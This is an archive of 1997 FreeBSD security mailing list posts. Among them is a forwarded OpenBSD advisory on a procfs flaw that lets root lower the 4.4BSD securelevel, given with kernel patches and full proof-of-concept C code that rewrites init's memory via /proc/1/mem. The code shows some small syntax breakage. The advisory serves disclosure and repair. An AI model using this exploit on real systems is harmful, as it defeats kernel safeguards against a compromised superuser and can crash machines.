From owner-freebsd-security Sun Jun 22 00:08:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA14909 for security-outgoing; Sun, 22 Jun 1997 00:08:07 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA14901 for ; Sun, 22 Jun 1997 00:08:03 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id QAA23696; Sun, 22 Jun 1997 16:52:17 +1000 Date: Sun, 22 Jun 1997 16:52:17 +1000 From: Bruce Evans Message-Id: <199706220652.QAA23696@godzilla.zeta.org.au> To: danny@panda.hilink.com.au, msmith@atrad.adelaide.edu.au Subject: Re: Simple TCP service can hang a system (fwd) Cc: freebsd-security@FreeBSD.ORG Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> I've noticed that inetd doesn't check the source port for the request >> to UDP simple services (echo, time, chargen, daytime). > >(note that this is Linux). > >FreeBSD ships with these disabled : >... >... so if you turn them on, you ought to understand this already 8) Even if you turn them on, the loopback problem has been fixed for years: RCS file: /a/ncvs/src/usr.sbin/inetd/inetd.c,v Working file: inetd.c ... ---------------------------- revision 1.4 date: 1994/12/21 19:08:45; author: wollman; state: Exp; lines: +63 -17 Disable UDP service looping attack. ---------------------------- The example program is a long way from compiling under FreeBSD. Linux apparently "cleaned up" the networking headers more than FreeBSD. Bruce From owner-freebsd-security Sun Jun 22 04:22:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA27458 for security-outgoing; Sun, 22 Jun 1997 04:22:00 -0700 (PDT) Received: from ns1.netcologne.de (ns1.netcologne.de [194.8.194.70]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA27397; Sun, 22 Jun 1997 04:21:51 -0700 (PDT) Received: from theseus.mediaconsult.de by ns1.netcologne.de (8.6.12/NetCologne/marvin/netsafe-a0020) id ; Sun, 22 Jun 1997 12:58:25 +0200 with ESMTP X-Ncc-Regid: de.netcologne Message-ID: <33AD0A8E.ED1452A0@netcologne.de> Date: Sun, 22 Jun 1997 13:20:46 +0200 From: Richard Cochius Reply-To: richard.cochius@netcologne.de Organization: Media Connect Cologne X-Mailer: Mozilla 4.0b5 [en] (Win95; I) MIME-Version: 1.0 To: FREEBSD-ADMIN@freebsd.org, FREEBSD-ANNOUNCE@freebsd.org, FREEBSD-ARCH@freebsd.org, FREEBSD-BUGS@freebsd.org, FREEBSD-CORE@freebsd.org, FREEBSD-CURRENT@freebsd.org, FREEBSD-CURRENT-DIGEST@freebsd.org, FREEBSD-STABLE@freebsd.org, FREEBSD-DOC@freebsd.org, FREEBSD-FS@freebsd.org, FREEBSD-HACKERS@freebsd.org, FREEBSD-HACKERS-DIGEST@freebsd.org, FREEBSD-HARDWARE@freebsd.org, FREEBSD-INSTALL@freebsd.org, FREEBSD-ISP@freebsd.org, FREEBSD-MULTIMEDIA@freebsd.org, FREEBSD-PLATFORMS@freebsd.org, FREEBSD-PORTS@freebsd.org, FREEBSD-QUESTIONS@freebsd.org, FREEBSD-QUESTIONS-DIGEST@freebsd.org, FREEBSD-SCSI@freebsd.org, FREEBSD-SECURITY@freebsd.org, FREEBSD-SECURITY-NOTIFICATIONS@freebsd.org, FREEBSD-USER-GROUPS@freebsd.org Subject: subscribe X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk From owner-freebsd-security Sun Jun 22 21:46:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA11260 for security-outgoing; Sun, 22 Jun 1997 21:46:52 -0700 (PDT) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA11255 for ; Sun, 22 Jun 1997 21:46:50 -0700 (PDT) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id VAA19002; Sun, 22 Jun 1997 21:46:04 -0700 (PDT) Date: Sun, 22 Jun 1997 21:46:04 -0700 (PDT) From: Jim Shankland Message-Id: <199706230446.VAA19002@biggusdiskus.flyingfox.com> To: danny@panda.hilink.com.au Subject: Re: Simple TCP service can hang a system (fwd) Cc: freebsd-security@FreeBSD.ORG Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Daniel O'Callaghan quotes Willy TARREAU as follows: > I've noticed that inetd doesn't check the source port for the request > to UDP simple services (echo, time, chargen, daytime). > > This means it is possible to build a packet which will look like it > comes from one of these ports, to one of these ports. In this case, > each UDP response from the simple service will generate a new request > to the source port and the system or network can be quickly > overloaded. Of course, I don't see any reason to make these services available across administrative boundaries (or zones of trust), anyway. They're routinely firewalled off anywhere I've been around :-). Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-security Mon Jun 23 01:09:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA20856 for security-outgoing; Mon, 23 Jun 1997 01:09:52 -0700 (PDT) Received: from w3.worldonline.nl (w3.worldonline.nl [194.151.129.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA20839 for ; Mon, 23 Jun 1997 01:09:42 -0700 (PDT) Received: (from maikel@localhost) by w3.worldonline.nl (8.8.5/8.8.5) id KAA12519; Mon, 23 Jun 1997 10:09:24 +0200 (CEST) Message-Id: <199706230809.KAA12519@w3.worldonline.nl> Subject: Re: Attempt to compromise root In-Reply-To: <199706202301.SAA27594@hobbes.cuckoo.com> from Daniel Baker at "Jun 20, 97 06:01:03 pm" To: dbaker@hobbes.cuckoo.com (Daniel Baker) Date: Mon, 23 Jun 1997 10:09:24 +0200 (CEST) Cc: vazquez@IQM.Unicamp.BR, freebsd-security@FreeBSD.ORG From: Maikel Verheijen Reply-To: maikel@worldonline.nl X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I still can't ftp in. I imagine he disabeled access for .com and .net (or > something like that) and since you're in .br, you wouldn't be denied > access. I can login to that ftp-site, but I can't see any directory's.. I guess that this "attacker" has some account there. > [snip] > Thanks > > Daniel Met vriendelijke groet, ----------------------------------------------------------------------------- - Maikel Verheijen ------------------------ Medewerker Techniek Worldonline - - Tel: 035-699 8700 ---- E-mail: maikel@worldonline.nl -- Fax: 035-695 1199 - ----------------------------------------------------------------------------- From owner-freebsd-security Mon Jun 23 01:32:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA21826 for security-outgoing; Mon, 23 Jun 1997 01:32:32 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA21821; Mon, 23 Jun 1997 01:32:26 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id RAA12199; Mon, 23 Jun 1997 17:30:58 +0900 (JST) To: freebsd-hackers@freebsd.org, freebsd-security@freebsd.org Subject: ipsec code made in Japan X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 X-Mailer: comp (MHng project) version 1997/04/30 02:23:09, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Mon, 23 Jun 1997 17:30:58 +0900 Message-ID: <12196.867054658@itojun.csl.sony.co.jp> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ (should be easily applied to 222-RELEASE too) Please read the following document with care BEFORE downloading it. ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README Cryptographic code is implemented outside of US, so there would be no export control problem for most people. (except for countries where import of crypto code is illegal, or use of crypto code is illegal) It is still in infancy, and will be updated regularly. Please visit the above directory regulary, if you would like to do a beta-test. Currently, there's no dynamic key management daemon available. (I plan to port Pluto implementation) If you would like to find WAN testing partner, email me. There are several people running this kernel, so let us manuall setup keys manually. Question: How should I release this kind of code in the future? What is the best way for us all? Apparently I can't try to merge it into FreeBSD source tree in ftp.freebsd.org. Jun-ichiro itojun Itoh itojun@itojun.org From owner-freebsd-security Mon Jun 23 02:10:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA23546 for security-outgoing; Mon, 23 Jun 1997 02:10:10 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA23510; Mon, 23 Jun 1997 02:09:46 -0700 (PDT) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.8.4/8.8.4) with SMTP id MAA18619; Mon, 23 Jun 1997 12:38:55 +0300 (EEST) Date: Mon, 23 Jun 1997 12:38:55 +0300 (EEST) From: Narvi To: itojun@itojun.org cc: freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: ipsec code made in Japan In-Reply-To: <12196.867054658@itojun.csl.sony.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Cool! I will try it. As for merging, it could probably have a branch on the international crypto sources? Of course, provided it is accepted. There is no love, no good, no happiness and no future - all these are just illusions. On Mon, 23 Jun 1997 itojun@itojun.org wrote: > I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ > (should be easily applied to 222-RELEASE too) > Please read the following document with care BEFORE downloading it. > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README > > Cryptographic code is implemented outside of US, so there would > be no export control problem for most people. (except for > countries where import of crypto code is illegal, or use of crypto > code is illegal) > > It is still in infancy, and will be updated regularly. > Please visit the above directory regulary, if you would like to > do a beta-test. > > Currently, there's no dynamic key management daemon available. > (I plan to port Pluto implementation) > If you would like to find WAN testing partner, email me. > There are several people running this kernel, so let us manuall > setup keys manually. > > > Question: How should I release this kind of code in the future? > What is the best way for us all? Apparently I can't try to merge > it into FreeBSD source tree in ftp.freebsd.org. > > Jun-ichiro itojun Itoh > itojun@itojun.org > From owner-freebsd-security Mon Jun 23 02:54:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA25504 for security-outgoing; Mon, 23 Jun 1997 02:54:25 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA25496; Mon, 23 Jun 1997 02:54:22 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id CAA06420; Mon, 23 Jun 1997 02:54:29 -0700 (PDT) To: itojun@itojun.org cc: freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: ipsec code made in Japan In-reply-to: Your message of "Mon, 23 Jun 1997 17:30:58 +0900." <12196.867054658@itojun.csl.sony.co.jp> Date: Mon, 23 Jun 1997 02:54:29 -0700 Message-ID: <6417.867059669@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Question: How should I release this kind of code in the future? > What is the best way for us all? Apparently I can't try to merge > it into FreeBSD source tree in ftp.freebsd.org. Have it merged into the source tree at ftp.internat.freebsd.org? Jordan From owner-freebsd-security Mon Jun 23 10:41:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA17062 for security-outgoing; Mon, 23 Jun 1997 10:41:05 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [194.151.74.97]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA17047 for ; Mon, 23 Jun 1997 10:41:01 -0700 (PDT) Received: (from guido@localhost) by gvr.win.tue.nl (8.8.5/8.8.2) id TAA10255 for freebsd-security@freebsd.org; Mon, 23 Jun 1997 19:40:58 +0200 (MET DST) From: Guido van Rooij Message-Id: <199706231740.TAA10255@gvr.win.tue.nl> Subject: BoS: Vulnerability Database (fwd) To: freebsd-security@freebsd.org Date: Mon, 23 Jun 1997 19:40:58 +0200 (MET DST) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm forwarding this in case some of you missed this... -Guido ----- Forwarded message from Matt Barrie ----- >From best-of-security-request@suburbia.net Sun Jun 22 18:20:34 1997 Resent-Date: Mon, 23 Jun 1997 02:14:33 +1000 (EST) Message-Id: <199706221537.BAA27928@suburbia.net> Date: Sun, 22 Jun 1997 17:33:50 +1000 Reply-To: matt@infilsec.com Sender: Windows NT BugTraq Mailing List From: Matt Barrie Organization: Infilsec Pty Limited Comments: To: ntbugtrac@rc.on.ca Resent-Message-ID: <"TT-tWB.A.k0G.-aUrz"@suburbia.net> X-Loop: best-of-security@suburbia.net Errors-To: best-of-security-request@suburbia.net Precedence: list Resent-Sender: best-of-security-request@suburbia.net To: best-of-security@suburbia.net Resent-From: best-of-security@suburbia.net X-OS: FreeBSD3.0-current X-Mailing-List: ftp://ftp.suburbia.net/pub/mailinglists/best-of-security/archive/latest/126 X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@suburbia.net with Subject: unsubscribe Subject: BoS: Vulnerability Database June 22, 1997. Infilsec has released a comprehensive vulnerability database called the Vulnerability Engine at: http://www.infilsec.com/vulnerabilities The database aims to act as a repository for the vulnerabilities and fixes of the type discussed on mailing lists such as Bugtraq, NTBugtraq and Best-of-Security. The database allows on-line submission and modification of vulnerability information so bugs or fixes can be entered or updated by anyone (albeit after moderation). We believe that concentrating this information in a sensible form will provide an easier method of retrieval than searching through back archives of Bugtraq, etc. We hope that this becomes a useful security resource and we would welcome any feedback on the design or functionality of the database (please bear in mind that the Vulnerability Engine is still in development). Regards, Matt Barrie Infilsec ----- End of forwarded message from Matt Barrie ----- From owner-freebsd-security Tue Jun 24 04:28:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA09279 for security-outgoing; Tue, 24 Jun 1997 04:28:36 -0700 (PDT) Received: from shadows.aeon.net (bsdsec@shadows.aeon.net [194.100.41.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA09274 for ; Tue, 24 Jun 1997 04:28:31 -0700 (PDT) Received: (from bsdsec@localhost) by shadows.aeon.net (8.8.5/8.8.3) id OAA04572; Tue, 24 Jun 1997 14:26:21 +0300 (EET DST) From: mika ruohotie Message-Id: <199706241126.OAA04572@shadows.aeon.net> Subject: Re: Attempt to compromise root In-Reply-To: <25515.866830848@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 20, 97 11:20:48 am" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Tue, 24 Jun 1997 14:26:20 +0300 (EET DST) Cc: kelly@fsl.noaa.gov, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > "sekurity.org" and what their purpose is? Is there someone there to > There are dozens of such sites around - I doubt you'd get much more than > laughed at if you tried to make an issue of it. just wondering. since they probed my talk port at jun 9th, i get slightly paranoid, and wonder if they have probed more of "us" on some freebsd mailing list... anyone else seeing that site in their logs? i dedicated them one 'ipfw add ?? reject log all' just coz of the sitename. mickey From owner-freebsd-security Tue Jun 24 23:30:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA04473 for security-outgoing; Tue, 24 Jun 1997 23:30:13 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA04410; Tue, 24 Jun 1997 23:29:59 -0700 (PDT) Message-Id: <199706250629.XAA04410@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA271599722; Wed, 25 Jun 1997 16:22:02 +1000 From: Darren Reed Subject: [ADVISORY] 4.4BSD Securelevels (fwd) To: security@freebsd.org, hackers@freebsd.org Date: Wed, 25 Jun 1997 16:22:01 +1000 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In some mail from Thomas H. Ptacek, sie said: > From owner-bugtraq@NETSPACE.ORG Wed Jun 25 15:04:04 EST 1997 > Approved-By: aleph1@UNDERGROUND.ORG > X-Mailer: ELM [version 2.4 PL24 ME8a] > Content-Type: text > Message-Id: <199706242349.SAA15385@enteract.com> > Date: Tue, 24 Jun 1997 18:49:44 -0500 > Reply-To: tqbf@enteract.com > Sender: Bugtraq List > From: "Thomas H. Ptacek" > Subject: [ADVISORY] 4.4BSD Securelevels > To: BUGTRAQ@NETSPACE.ORG > > ---------------------------------------------------------------------------- > > OpenBSD Security Advisory > > June 24, 1997 > > Vulnerability in 4.4BSD procfs > > ---------------------------------------------------------------------------- > > SYNOPSIS > > A vulnerability in the 4.4BSD process filesystem allows arbitrary > processes to lower the system securelevel, subverting security measures > that rely on this setting. This problem can affects the filesystem > "immutable" flag, and may allow intruders to modify the running kernel. > > ---------------------------------------------------------------------------- > > AFFECTED SYSTEMS > > It is believed that all 4.4BSD operating systems are currently vulnerable > to this problem. A lack of BSDI source code prevents us from verifying > it's applicability to that operating system. > > Systems known to be currently vulnerable include: > > OpenBSD 2.0 and OpenBSD 2.1 (the OpenBSD project has resolved this > problem in OpenBSD-current). > > All currently available versions of FreeBSD (the FreeBSD project has > resolved this problem in FreeBSD-current). > > All currently available versions of NetBSD. > > ---------------------------------------------------------------------------- > > DETAILS > > Certain security measures in the 4.4BSD kernel rely on a variable called > the "securelevel", which is intended to allow the system to run with > heightened security after initializations that may require extra > flexibility. Mechanisms that rely on the securelevel are inactive until > the securelevel is raised to a nonzero value. > > The securelevels system relies on the fact that no user on the system, > including the superuser, can lower the variable after it has been raised. > This allows securelevels to be used to implement protections in the kernel > against a compromised superuser account. A commonly-used example is > the filesystem "immutable" flag, which prevents flagged files from being > modified by anyone on the system, including the superuser. > > The process of transitioning the system into single-user mode from > multi-user mode involves several functions that require enhanced access > to system internals. Because of this, the "init" process has the exclusive > ability to decrease the system securelevel to facilitate this process. In > recognition of this, in-kernel process-level debugging utilities, such as > the ptrace() system call, do not function on the "init" process. > > The 4.4BSD process filesystem presents a filesystem perspective to the > process table. Process information tools such as "ps" can read the process > filesystem information as directories and files, instead of digging > through kernel memory directly. Additionally, process debugging tools can > use procfs to modify running processes. Like ptrace(), the procfs code has > recently been modified to prevent the subversion of the running init > process. > > Unfortunately, a vulnerability in the procfs code remains which allows a > user with superuser credentials to modify the running init process and > force it to reduce the system securelevel. Although the "attach" command, > which is the procfs equivalent to the "attach" interface provided by > ptrace(), is disallowed on the init process, write access to the virtual > memory of the init process remains enabled. Modification to the running > init process image can be used to subvert the process. > > ---------------------------------------------------------------------------- > > TECHNICAL INFORMATION > > The 4.4BSD process filesystem describes each process with a series of > files, including "status", which provides the process status, "regs", > which details the register set of the process, "mem", which provides > access to the memory image of the process, and "ctl", which provides an > interface to process control. The procfs vulnerability described in this > advisory exploits the "mem" process description file. > > By opening the "mem" file of the running init process up in a write mode, > the virtual memory image of the init process can be modified. This access > can be used to alter the executable code of the running process in it's > text segment. > > This can easily be exploited to reduce the securelevel of the system by > altering code in init that already involves modification of the > securelevel. One place where this occurs is within the "multi_user()" > routine, which sets the securelevel to "1" upon entry (expressing the > default behavior of running with securelevels enabled after initializing > the system). > > The relevant code is: > > if(getsecuritylevel() == 0) > setsecuritylevel(1); > > By excercising write access to the text of the init process, that code can > be altered to set the securelevel to 0 by modifying two bytes of > executable code - one two cause the "if" conditional to evaluate true > after the system has entered multi-user mode, and one to alter the value > passed to "setsecuritylevel" from "1" to "0", affecting a reduction in > the system securelevel. > > The newly modified code now reads: > > if(getsecuritylevel() != 0) > setsecuritylevel(0); > > The init program is a finite state machine driven by function pointers. > The program can be forced to call multi_user() by setting a function > pointer (using the "mem" file again) to the address of this routine. The > next time "init" changes state, it will call multi_user() and reduce the > securelevel. > > ---------------------------------------------------------------------------- > > RESOLUTION > > Two immediate fixes are available to this problem. The first resolves the > specific problem presented by the procfs interface, and the second > prevents "init" from being able to lower the securelevel at all, resolving > the more general problem presented by making "init" a target for > compromising the kernel. > > A workaround to the problem is simply to disable the procfs filesystem in > your kernel binary, by not specifying it in the kernel config file, > reconfiguring the kernel, rebuilding it, and rebooting off the new kernel. > This will reduce the functionality of process debugging tools. > > The procfs fix involves a modification to sys/miscfs/procfs_subr.c, which > implements the procfs_write() vnode interface. By causing the procfs_rw() > routine to fail when the affected process ID is "1", "init" is now > safeguarded against modification from the process filesystem. > > An OpenBSD fix to the problem is provided at the end of this document. > > The "init" securelevel fix involves a modification to sys/kern/kern_mib.c, > where the "sysctl" interface to the "securelevel" variable is implemented. > By causing this interface to fail at all times when the request attempts > to reduce the securelevel, "init" is prevented from compromising the > system. > > The latter fix may reduce functionality on the system and is not > recommended for installations that require the ability to perform > extensive single-user mode operations after bringing the system into > single-user mode. > > An OpenBSD fix to the problem is provided at the end of this document. > > ---------------------------------------------------------------------------- > > CREDITS > > The OpenBSD development team would like to express it's gratitude to Alex > Nash, for alerting us to this problem, as well as for providing the > FreeBSD patch; to Theo de Raadt, for providing the OpenBSD procfs patch; > and to Tim Newsham, for providing proof-of-concept code. > > The developers at OpenBSD would also like to indicate their appreciation > of FreeBSD's rapid resolution of this problem. > > ---------------------------------------------------------------------------- > > OPENBSD PATCHES > > To prevent the process filesystem from enabling the superuser to modify > the running init image, apply the following patch to your OpenBSD kernel. > > ----- cut here ----- > > *** sys/miscfs/procfs/procfs_subr.c Tue Jun 24 15:56:02 1997 > --- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997 > *************** > *** 1,3 **** > ! /* $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */ > /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ > > --- 1,3 ---- > ! /* $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */ > /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ > > *************** > *** 222,225 **** > --- 222,228 ---- > if (p == 0) > return (EINVAL); > + /* Do not permit games to be played with init(8) */ > + if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE) > + return (EPERM); > > switch (pfs->pfs_type) { > > ----- cut here ----- > > To prevent "init" from being able to decrease the system securelevel, > apply the following patch to your OpenBSD kernel. > > ----- cut here ----- > > *** kern_sysctl.c.orig Tue Jun 24 17:28:52 1997 > --- kern_sysctl.c Tue Jun 24 17:29:37 1997 > *************** > *** 238,242 **** > return (error); > if ((securelevel > 0 || level < -1) > ! && level < securelevel && p->p_pid != 1) > return (EPERM); > securelevel = level; > --- 238,242 ---- > return (error); > if ((securelevel > 0 || level < -1) > ! && level < securelevel) > return (EPERM); > securelevel = level; > > ----- cut here ----- > > ---------------------------------------------------------------------------- > > DEMONSTRATION CODE > > The following code will compile and run on any 4.4BSD system. However, it > relies on offsets into the memory image of the init process that may > change from OS to OS, and from compilation to compilation. Attempting to > run this program on an operating system other than the one for which it > was intended will corrupt the text of the init process, and probably cause > your system to crash. Use caution when attempting to use this program to > assess your vulnerability. > > After successfully running the program, the next init state transition > will result in the system securelevel being reduced to "0". > > The offsets in this program were gained from using "gdb" on a > newly-compiled "init" binary with an intact symbol table. The address of > the "multi_user()" function is available with: > > % info address multi_user > > The address of the "requested_transition" function pointer is available > with: > > % info address requested_transition > > The address of the two modified instruction within that binary (the JE > instruction that causes the multi_user() conditional to fail, and the > argument to the PUSH instruction which indicates the new securelevel > setting) are available with: > > % disassemble multi_user > > ----- cut here ----- > > /* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */ > > #include > #include > #include > > /* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets > * will cause your system to crash. > */ > > /* offset to the beginning of the multi_user() routine */ > * OpenBSD: 0x2eb4 > */ > > #define MULTI_USER_ROUTINE 0x27f8 > > /* offset of the JNE instruction in multi_user() */ > * OpenBSD: 0x2eb4 + 21 > */ > > #define EVALUATE_TRUE (0x27f8 + 21) > > /* offset of the argument to the PUSH instruction */ > * OpenBSD: 0x2eb4 + 24 > */ > > #define SET_TO_ZERO (0x27f8 + 24) > > /* offset of the "requested_transition" variable */ > * OpenBSD: 0x290b8 > */ > > #define TRANSITION_TO_MULTI_USER 0x2f0a0 > > #define INIT_MEMORY_FILE "/proc/1/mem" > > /* invariant */ > > #define JNE 0x74 > > extern int errno; > > int main(int argc, char **argv) { > int init_mem; > char c; > int i; > > /* access init's virtual memory image */ > > init_mem = open(INIT_MEMORY_FILE, O_RDWR); > if(init_mem < 0) { > perror("open"); > exit(errno); > } > > c = JNE; > > /* change == to != (JE to JNE) */ > > lseek(init_mem, EVALUATE_TRUE, SEEK_SET); > write(init_mem, &c, 1); > > c = 0x0; > > /* change 1 to 0 */ > > lseek(init_mem, SET_TO_ZERO, SEEK_SET); > write(init_mem, &c, 1); > > /* change next state transition to multi_user */ > > i = MULTI_USER_ROUTINE; > lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET); > write(init_mem, &i, 4); > > close(init_mem); > > /* force an init state transition */ > > if(!fork()) > exit(0) > > usleep(10000); > > exit(0); > } > > ----- cut here ----- > > ---------------------------------------------------------------------------- > From owner-freebsd-security Wed Jun 25 14:03:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14039 for security-outgoing; Wed, 25 Jun 1997 14:03:18 -0700 (PDT) Received: from nora.pcug.co.uk (Nora.PCUG.CO.UK [192.68.174.71]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA14024 for ; Wed, 25 Jun 1997 14:03:09 -0700 (PDT) Received: from uk1.imdb.com by nora.pcug.co.uk id aa25225; 25 Jun 97 22:03 BST Received: from robh.imdb.com by olive.pcug.co.uk id aa02721; 25 Jun 97 22:02 BST Date: Wed, 25 Jun 1997 10:01:21 +0100 (BST) From: Rob Hartill X-Sender: robh@localhost To: security@freebsd.org Subject: probing from jrc-5-104.tm.net.my Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anyone know anything about this host ? Name: jrc-5-104.tm.net.my Address: 202.188.5.104 I noticed it probing ports in ipfw's logs. abbreviations: X = 202.188.5.104 Y = myhost Z = myhost Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1422 Y:2 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1423 Y:3 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1424 Y:4 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1425 Y:5 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1426 Y:6 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1428 Y:8 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1429 Y:9 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1437 Y:17 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1440 Y:20 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 Jun 25 04:07:13 